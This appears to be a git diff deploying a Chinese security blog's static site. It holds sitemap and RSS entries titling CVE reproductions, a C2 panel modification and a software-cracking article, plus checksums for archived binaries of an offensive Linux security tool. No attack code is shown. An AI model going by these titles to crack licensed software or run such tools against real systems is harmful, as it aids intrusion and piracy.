80%8F%E6%B5%8B%E8%AF%95/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/oss-putweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/PathScanweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E6%89%8B%E6%B3%95/JS%E8%BF%98%E5%8E%9F/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E6%89%8B%E6%B3%95/SpringBoot%E6%B8%97%E9%80%8F/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E6%89%8B%E6%B3%95/%E6%9F%90%E5%A4%A7%E5%AD%A6%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/%E4%B8%AD%E9%97%B4%E4%BB%B6/Apache/Kafka%20Connect%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2025-27817%EF%BC%89weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/%E5%A5%91%E7%BA%A6%E9%94%81%E7%94%B5%E5%AD%90%E7%AD%BE%E7%AB%A0%E7%B3%BB%E7%BB%9F/%E5%A5%91%E7%BA%A6%E9%94%81%E7%94%B5%E5%AD%90%E7%AD%BE%E7%AB%A0%E7%B3%BB%E7%BB%9FRCEweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86IP%E6%91%84%E5%83%8F%E6%9C%BANVR%E8%AE%BE%E5%A4%87%E5%9B%BA%E4%BB%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2021-36260)weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CNVD-2024-18673%EF%BC%89%E5%A4%8D%E7%8E%B0weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/cve/2023/CVE-2023-33246weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/cve/2023/CVE-2023-33979weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/JeecgBoot/JeecgBoot%203.9.5%20pre-auth%20RCE%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Simple%20Admin/%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C%E5%8D%B3%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/CVE-2022-38352weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphp5.0.22%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8Cweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphp6.0.12%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphpv6.0.13%E5%A4%9A%E8%AF%AD%E8%A8%80Rceweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Trojanpanel/TrojanPanel%E6%9C%AA%E6%8E%88%E6%9D%83%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/V2board/privilege-escalation-1.6weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%94%A8%E5%8F%8B/YonBIP/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(1)weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%A6%85%E9%81%93/chandao_ajaxGetList_flag_wpweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E7%96%91%E9%9A%BE%E6%9D%82%E7%97%87/k3s/Traefik%E8%B5%84%E6%BA%90%E8%B7%A8%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4%E8%B0%83%E7%94%A8/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E4%BB%A3%E7%A0%81%E6%A1%88%E4%BE%8B/GoLang-%E7%AE%80%E6%98%93http%E4%BB%A3%E7%90%86weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E4%BB%A3%E7%A0%81%E6%A1%88%E4%BE%8B/GoLang-%E7%BC%96%E5%86%99POC/GoLang-CVE-2022-26134weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E4%BB%A3%E7%A0%81%E6%A1%88%E4%BE%8B/GoLang-%E7%BC%96%E5%86%99POC/GoLang-Docker-Daemon-Api-Rceweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-mapweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%87%BD%E6%95%B0weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%88%87%E7%89%87weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%8C%85weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%8F%8D%E5%B0%84weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%8F%98%E9%87%8F%E5%B8%B8%E9%87%8Fweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%B9%B6%E5%8F%91weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AEweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%8C%87%E9%92%88weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%8E%A5%E5%8F%A3weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/Golang-%E6%93%8D%E4%BD%9CMySQLweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%93%8D%E4%BD%9CRedisweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8Bweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%95%B0%E7%BB%84weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%96%87%E4%BB%B6ioweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E7%BB%93%E6%9E%84%E4%BD%93weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8Bweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/GoLang-%E8%BF%90%E7%AE%97%E7%AC%A6weekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E6%A8%A1%E5%9D%97%E5%AD%A6%E4%B9%A0/GoLand-net.httpweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E6%A8%A1%E5%9D%97%E5%AD%A6%E4%B9%A0/GoLang-fmtweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/Go/Go%E6%A8%A1%E5%9D%97%E5%AD%A6%E4%B9%A0/GoLang-goflagsweekly0.5https://blog.wjlin0.com/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E9%80%86%E5%90%91%E7%A0%B4%E8%A7%A3/TscanPlus%E6%8E%88%E6%9D%83%E9%80%BB%E8%BE%91%E5%88%86%E6%9E%90%E4%B8%8E%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A1%A5%E4%B8%81%E7%A0%B4%E8%A7%A3weekly0.5https://blog.wjlin0.com/en/docs/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97weekly0.5https://blog.wjlin0.com/en/weekly0.5 \ No newline at end of file diff --git a/en/tools/roothawkx/v1.1/METADATA.md b/en/tools/roothawkx/v1.1/METADATA.md new file mode 100644 index 0000000..b8f6c75 --- /dev/null +++ b/en/tools/roothawkx/v1.1/METADATA.md @@ -0,0 +1,31 @@ +# RootHawkX v1.1 + +| 项目 | 内容 | +|:---|:---| +| 上游仓库 | https://github.com/DeEpinGh0st/RootHawkX | +| Release | v1.1 | +| Release URL | https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1 | +| 保存日期 | 2026-07-02 | +| 用途 | Linux 本地安全测试终端工具归档 | + +## Source + +| 文件 | 原始地址 | SHA256 | +|:---|:---|:---| +| source/RootHawkX-v1.1.zip | https://api.github.com/repos/DeEpinGh0st/RootHawkX/zipball/v1.1 | a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 | +| source/RootHawkX-v1.1.tar.gz | https://api.github.com/repos/DeEpinGh0st/RootHawkX/tarball/v1.1 | c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d | + +## Binaries + +| 文件 | 架构 | 原始地址 | SHA256 | +|:---|:---|:---|:---| +| bin/roothawkx_linux_386 | linux/386 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_386 | 9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 | +| bin/roothawkx_linux_amd64 | linux/amd64 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_amd64 | e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 | +| bin/roothawkx_linux_arm64 | linux/arm64 | https://github.com/DeEpinGh0st/RootHawkX/releases/download/v1.1/roothawkx_linux_arm64 | de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 | + +## Verification + +```bash +cd static/tools/roothawkx/v1.1 +shasum -a 256 -c SHA256SUMS.txt +``` diff --git a/en/tools/roothawkx/v1.1/SHA256SUMS.txt b/en/tools/roothawkx/v1.1/SHA256SUMS.txt new file mode 100644 index 0000000..fcd6f90 --- /dev/null +++ b/en/tools/roothawkx/v1.1/SHA256SUMS.txt @@ -0,0 +1,5 @@ +a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26 source/RootHawkX-v1.1.zip +c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d source/RootHawkX-v1.1.tar.gz +9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2 bin/roothawkx_linux_386 +e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179 bin/roothawkx_linux_amd64 +de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1 bin/roothawkx_linux_arm64 diff --git a/en/tools/roothawkx/v1.1/bin/roothawkx_linux_386 b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_386 new file mode 100644 index 0000000..79ceef8 Binary files /dev/null and b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_386 differ diff --git a/en/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 new file mode 100644 index 0000000..365c09c Binary files /dev/null and b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_amd64 differ diff --git a/en/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 new file mode 100644 index 0000000..4b48b33 Binary files /dev/null and b/en/tools/roothawkx/v1.1/bin/roothawkx_linux_arm64 differ diff --git a/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz b/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz new file mode 100644 index 0000000..ff89e75 Binary files /dev/null and b/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.tar.gz differ diff --git a/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip b/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip new file mode 100644 index 0000000..f16c547 Binary files /dev/null and b/en/tools/roothawkx/v1.1/source/RootHawkX-v1.1.zip differ diff --git a/img/docusaurus-social-card.jpg b/img/docusaurus-social-card.jpg new file mode 100644 index 0000000..ffcb448 Binary files /dev/null and b/img/docusaurus-social-card.jpg differ diff --git a/img/docusaurus.png b/img/docusaurus.png new file mode 100644 index 0000000..c7a69da Binary files /dev/null and b/img/docusaurus.png differ diff --git a/img/favicon.ico b/img/favicon.ico new file mode 100644 index 0000000..5faf18a Binary files /dev/null and b/img/favicon.ico differ diff --git a/img/logo.svg b/img/logo.svg new file mode 100644 index 0000000..364fef3 --- /dev/null +++ b/img/logo.svg @@ -0,0 +1,19 @@ + + + + + + + + + + + diff --git a/img/undraw_docusaurus_mountain.svg b/img/undraw_docusaurus_mountain.svg new file mode 100644 index 0000000..af961c4 --- /dev/null +++ b/img/undraw_docusaurus_mountain.svg @@ -0,0 +1,171 @@ + + Easy to Use + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/img/undraw_docusaurus_react.svg b/img/undraw_docusaurus_react.svg new file mode 100644 index 0000000..94b5cf0 --- /dev/null +++ b/img/undraw_docusaurus_react.svg @@ -0,0 +1,170 @@ + + Powered by React + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/img/undraw_docusaurus_tree.svg b/img/undraw_docusaurus_tree.svg new file mode 100644 index 0000000..d9161d3 --- /dev/null +++ b/img/undraw_docusaurus_tree.svg @@ -0,0 +1,40 @@ + + Focus on What Matters + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/img/wx-c929afc8a67986abc859278e2df19530.png b/img/wx-c929afc8a67986abc859278e2df19530.png new file mode 100644 index 0000000..1f45b9f Binary files /dev/null and b/img/wx-c929afc8a67986abc859278e2df19530.png differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..33296d8 --- /dev/null +++ b/index.html @@ -0,0 +1,16 @@ + + + + + +首页 | wjlin0 知识库 | wjlin0 + + + + + + + +

你好,我是wjlin0👋

在这里我会以知识库的方式分享我的部分信息安全技能和经验总结,希望我在信息安全行业的经历对你有所帮助和启发。

Docusauruswjlin0Govisitor
进入我的知识库
+ + \ No newline at end of file diff --git a/markdown-page/index.html b/markdown-page/index.html new file mode 100644 index 0000000..d7fb387 --- /dev/null +++ b/markdown-page/index.html @@ -0,0 +1,17 @@ + + + + + +Markdown page example | wjlin0 + + + + + + + +

Markdown page example

+

You don't need React to write simple standalone pages.

+ + \ No newline at end of file diff --git a/rss.xml b/rss.xml new file mode 100644 index 0000000..80c2c11 --- /dev/null +++ b/rss.xml @@ -0,0 +1,138 @@ + + + +wjlin0 +https://www.wjlin0.com +网络安全 + + + +<![CDATA[ 更新日志 ]]> + + https://blog.wjlin0.com/更新日志 + + + + /更新日志 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ TscanPlus授权逻辑分析与二进制补丁破解 ]]> + + https://blog.wjlin0.com/个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解 + + + + /个人知识库/逆向破解/TscanPlus授权逻辑分析与二进制补丁破解 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ IDA Pro 9.0 中文稳定版,一键安装&插件全攻略 ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略 + + + + /个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ 最新BurpSuite2010专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境 ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/最新BurpSuite2010专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境 + + + + /个人知识库/公众号文章/最新BurpSuite2010专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ Docker 快速部署最新版Awvs ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/Docker 快速部署最新版Awvs + + + + /个人知识库/公众号文章/Docker 快速部署最新版Awvs + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ Supershell二开修改 ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/Supershell二开修改 + + + + /个人知识库/公众号文章/Supershell二开修改 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ 【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 ! ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 ! + + + + /个人知识库/公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 ! + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ 【白嫖】免费领取一年 美国、加拿大、英国等云主机 ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机 + + + + /个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ Perplexity Pro免费获取一年订阅 ]]> + + https://blog.wjlin0.com/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅 + + + + /个人知识库/公众号文章/Perplexity Pro免费获取一年订阅 + Sun, 18 Oct 2026 12:39:19 GMT + + + + + +<![CDATA[ 10.AI ]]> + + https://blog.wjlin0.com/个人知识库/AI/ + + + + /个人知识库/AI/ + Sun, 18 Oct 2026 12:39:19 GMT + + + + diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..5c1bc4d --- /dev/null +++ b/sitemap.xml @@ -0,0 +1 @@ +https://blog.wjlin0.com/markdown-pageweekly0.5https://blog.wjlin0.com/docs/introweekly0.5https://blog.wjlin0.com/docs/personal/articles/free-chatgpt-go-one-yearweekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E4%B8%80%E7%AB%A0/weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E4%B8%80%E7%AB%A0/1.1%20PyTorch%E7%AE%80%E4%BB%8Bweekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E4%B8%80%E7%AB%A0/1.2%20PyTorch%E7%9A%84%E5%AE%89%E8%A3%85weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E4%B8%80%E7%AB%A0/1.3%20PyTorch%E7%9B%B8%E5%85%B3%E8%B5%84%E6%BA%90weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E4%B8%83%E7%AB%A0/weekly0.5https://blog.wjlin0.com/docs/%E4%B8%AA